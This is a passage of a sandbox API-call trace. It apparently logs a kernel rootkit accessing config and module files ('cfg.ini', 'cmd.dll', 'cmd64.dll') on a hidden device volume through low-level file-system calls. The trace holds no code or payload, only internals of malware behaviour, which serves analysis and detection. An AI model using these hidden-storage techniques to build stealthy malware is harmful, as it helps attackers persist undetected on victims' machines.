PriorityBoost=0) [0117.914] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.915] KeEnterCriticalRegion () [0117.915] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.915] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.915] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.915] KeLeaveCriticalRegion () [0117.915] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.915] KeEnterCriticalRegion () [0117.915] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.915] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.915] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.915] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.915] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0117.915] IdePortDispatch () returned 0x103 [0117.915] KeWaitForMutexObject () returned 0x0 [0117.915] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.915] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.915] KeLeaveCriticalRegion () [0117.915] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.915] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.915] KeEnterCriticalRegion () [0117.915] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.915] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003472000 [0117.915] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.915] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.915] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.916] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.916] IdePortDispatch () returned 0x103 [0117.916] KeWaitForMutexObject () returned 0x0 [0117.916] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.916] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.916] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.916] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.916] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.916] IdePortDispatch () returned 0x103 [0117.916] KeWaitForMutexObject () returned 0x0 [0117.916] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.916] KeLeaveCriticalRegion () [0117.916] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.917] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.917] KeEnterCriticalRegion () [0117.917] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.917] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.917] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.917] KeLeaveCriticalRegion () [0117.917] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.917] KeEnterCriticalRegion () [0117.917] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.917] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0117.917] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d0f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.917] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.917] KeLeaveCriticalRegion () [0117.917] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.917] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.917] KeEnterCriticalRegion () [0117.917] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.917] ExFreePoolWithTag (P=0xfffffa8003afaf60, Tag=0x0) [0117.917] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.917] KeLeaveCriticalRegion () [0117.917] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.918] ReleaseMutex (hMutex=0xf0) returned 1 [0117.918] Sleep (dwMilliseconds=0x124f80) [0117.933] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.933] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.933] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.933] KeEnterCriticalRegion () [0117.933] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.933] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.933] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.933] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.933] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0117.933] IdePortDispatch () returned 0x103 [0117.933] KeWaitForMutexObject () returned 0x0 [0117.933] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.933] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.933] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.933] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.933] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.933] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa67f0 [0117.933] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.933] KeLeaveCriticalRegion () [0117.933] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.933] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.933] KeEnterCriticalRegion () [0117.933] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.934] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.934] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.934] KeLeaveCriticalRegion () [0117.934] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.934] KeEnterCriticalRegion () [0117.934] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.934] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.934] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.934] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.934] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0117.934] IdePortDispatch () returned 0x103 [0117.934] KeWaitForMutexObject () returned 0x0 [0117.934] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.934] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.934] KeLeaveCriticalRegion () [0117.934] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.934] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.934] KeEnterCriticalRegion () [0117.934] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.934] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003476000 [0117.934] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.934] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.934] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.934] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.934] IdePortDispatch () returned 0x103 [0117.935] KeWaitForMutexObject () returned 0x0 [0117.935] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.935] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.935] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.935] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.935] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.935] IdePortDispatch () returned 0x103 [0117.935] KeWaitForMutexObject () returned 0x0 [0117.935] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.935] KeLeaveCriticalRegion () [0117.935] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.936] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.936] KeEnterCriticalRegion () [0117.936] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.936] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.936] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.936] KeLeaveCriticalRegion () [0117.936] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.936] KeEnterCriticalRegion () [0117.936] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.936] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0117.936] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d0f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.936] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.936] KeLeaveCriticalRegion () [0117.936] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.936] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.936] KeEnterCriticalRegion () [0117.936] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.937] ExFreePoolWithTag (P=0xfffffa8003aa67f0, Tag=0x0) [0117.937] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.937] KeLeaveCriticalRegion () [0117.937] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.937] ReleaseMutex (hMutex=0xf0) returned 1 [0117.937] Sleep (dwMilliseconds=0x124f80) [0117.956] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.956] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.956] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.956] KeEnterCriticalRegion () [0117.956] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.956] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.956] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.956] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.956] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0117.956] IdePortDispatch () returned 0x103 [0117.956] KeWaitForMutexObject () returned 0x0 [0117.956] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.956] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.956] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.956] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.956] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.956] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa63a0 [0117.957] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.957] KeLeaveCriticalRegion () [0117.957] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.957] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.957] KeEnterCriticalRegion () [0117.957] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.957] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.957] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.957] KeLeaveCriticalRegion () [0117.957] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.957] KeEnterCriticalRegion () [0117.957] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.957] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.957] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.957] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.957] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0117.957] IdePortDispatch () returned 0x103 [0117.957] KeWaitForMutexObject () returned 0x0 [0117.957] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.957] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.957] KeLeaveCriticalRegion () [0117.957] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.957] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.958] KeEnterCriticalRegion () [0117.958] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.958] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800347b000 [0117.958] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.958] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.958] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.958] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.958] IdePortDispatch () returned 0x103 [0117.958] KeWaitForMutexObject () returned 0x0 [0117.958] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.958] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.958] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.958] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.958] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.958] IdePortDispatch () returned 0x103 [0117.958] KeWaitForMutexObject () returned 0x0 [0117.958] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.958] KeLeaveCriticalRegion () [0117.958] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.959] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.959] KeEnterCriticalRegion () [0117.959] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.959] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.959] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.959] KeLeaveCriticalRegion () [0117.959] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.959] KeEnterCriticalRegion () [0117.959] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.959] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0117.959] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.959] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.959] KeLeaveCriticalRegion () [0117.959] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.960] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.960] KeEnterCriticalRegion () [0117.960] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.960] ExFreePoolWithTag (P=0xfffffa8003aa63a0, Tag=0x0) [0117.960] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.960] KeLeaveCriticalRegion () [0117.960] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.960] ReleaseMutex (hMutex=0xf0) returned 1 [0117.960] Sleep (dwMilliseconds=0x124f80) [0117.979] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.979] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.979] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.979] KeEnterCriticalRegion () [0117.980] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.980] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.980] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.980] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.980] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0117.980] IdePortDispatch () returned 0x103 [0117.980] KeWaitForMutexObject () returned 0x0 [0117.980] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.980] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.980] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.980] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.980] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.980] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039daa90 [0117.980] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.980] KeLeaveCriticalRegion () [0117.980] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.980] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.980] KeEnterCriticalRegion () [0117.980] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.980] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.980] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.980] KeLeaveCriticalRegion () [0117.980] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.980] KeEnterCriticalRegion () [0117.980] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.980] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.981] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.981] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.981] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0117.981] IdePortDispatch () returned 0x103 [0117.981] KeWaitForMutexObject () returned 0x0 [0117.981] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.981] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.981] KeLeaveCriticalRegion () [0117.981] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.981] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.981] KeEnterCriticalRegion () [0117.981] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.981] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003480000 [0117.981] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.981] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.981] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: 